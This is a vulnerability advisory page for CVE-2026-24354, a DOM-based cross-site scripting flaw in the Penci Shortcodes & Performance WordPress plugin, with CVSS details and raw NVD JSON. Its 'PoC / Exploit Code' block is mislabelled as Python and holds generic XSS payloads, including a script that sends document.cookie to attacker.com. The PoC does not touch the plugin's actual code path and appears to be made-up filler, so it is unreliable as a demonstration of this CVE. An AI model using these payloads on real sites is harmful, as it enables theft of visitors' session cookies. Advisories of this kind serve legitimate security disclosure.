Security Vulnerability Report
中文
CVE-2026-24354 CVSS 6.5 MEDIUM

CVE-2026-24354

Published: 2026-01-22 17:16:39
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PenciDesign Penci Shortcodes & Performance penci-shortcodes allows DOM-Based XSS.This issue affects Penci Shortcodes & Performance: from n/a through <= 6.1.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

penci-shortcodes <= 6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2026-24354 DOM-Based XSS PoC --> <!-- 攻击者构造恶意URL,诱导受害者访问 --> <!-- PoC 1: 通过URL参数注入 --> <a href="https://vulnerable-site.com/page-with-penci-shortcode/?param=<img src=x onerror=alert(document.cookie)>">Click Here</a> <!-- PoC 2: 通过URL片段标识符注入 --> <a href="https://vulnerable-site.com/page-with-penci-shortcode/#<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>">View Post</a> <!-- PoC 3: 完整的恶意页面示例 --> <!DOCTYPE html> <html> <head><title>CVE-2026-24354 PoC</title></head> <body> <h1>DOM XSS Attack</h1> <script> // 模拟漏洞利用 const maliciousInput = location.hash.slice(1); document.write('<div>' + maliciousInput + '</div>'); // 实际攻击:窃取cookie // fetch('https://attacker.com/cookie?c=' + encodeURIComponent(document.cookie)); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24354", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:39.050", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in PenciDesign Penci Shortcodes & Performance penci-shortcodes allows DOM-Based XSS.This issue affects Penci Shortcodes & Performance: from n/a through <= 6.1."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en PenciDesign Penci Shortcodes &amp; Performance penci-shortcodes permite XSS basado en DOM. Este problema afecta a Penci Shortcodes &amp; Performance: desde n/a hasta &lt;= 6.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/penci-shortcodes/vulnerability/wordpress-penci-shortcodes-performance-plugin-6-1-cross-site-scripting-xss-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}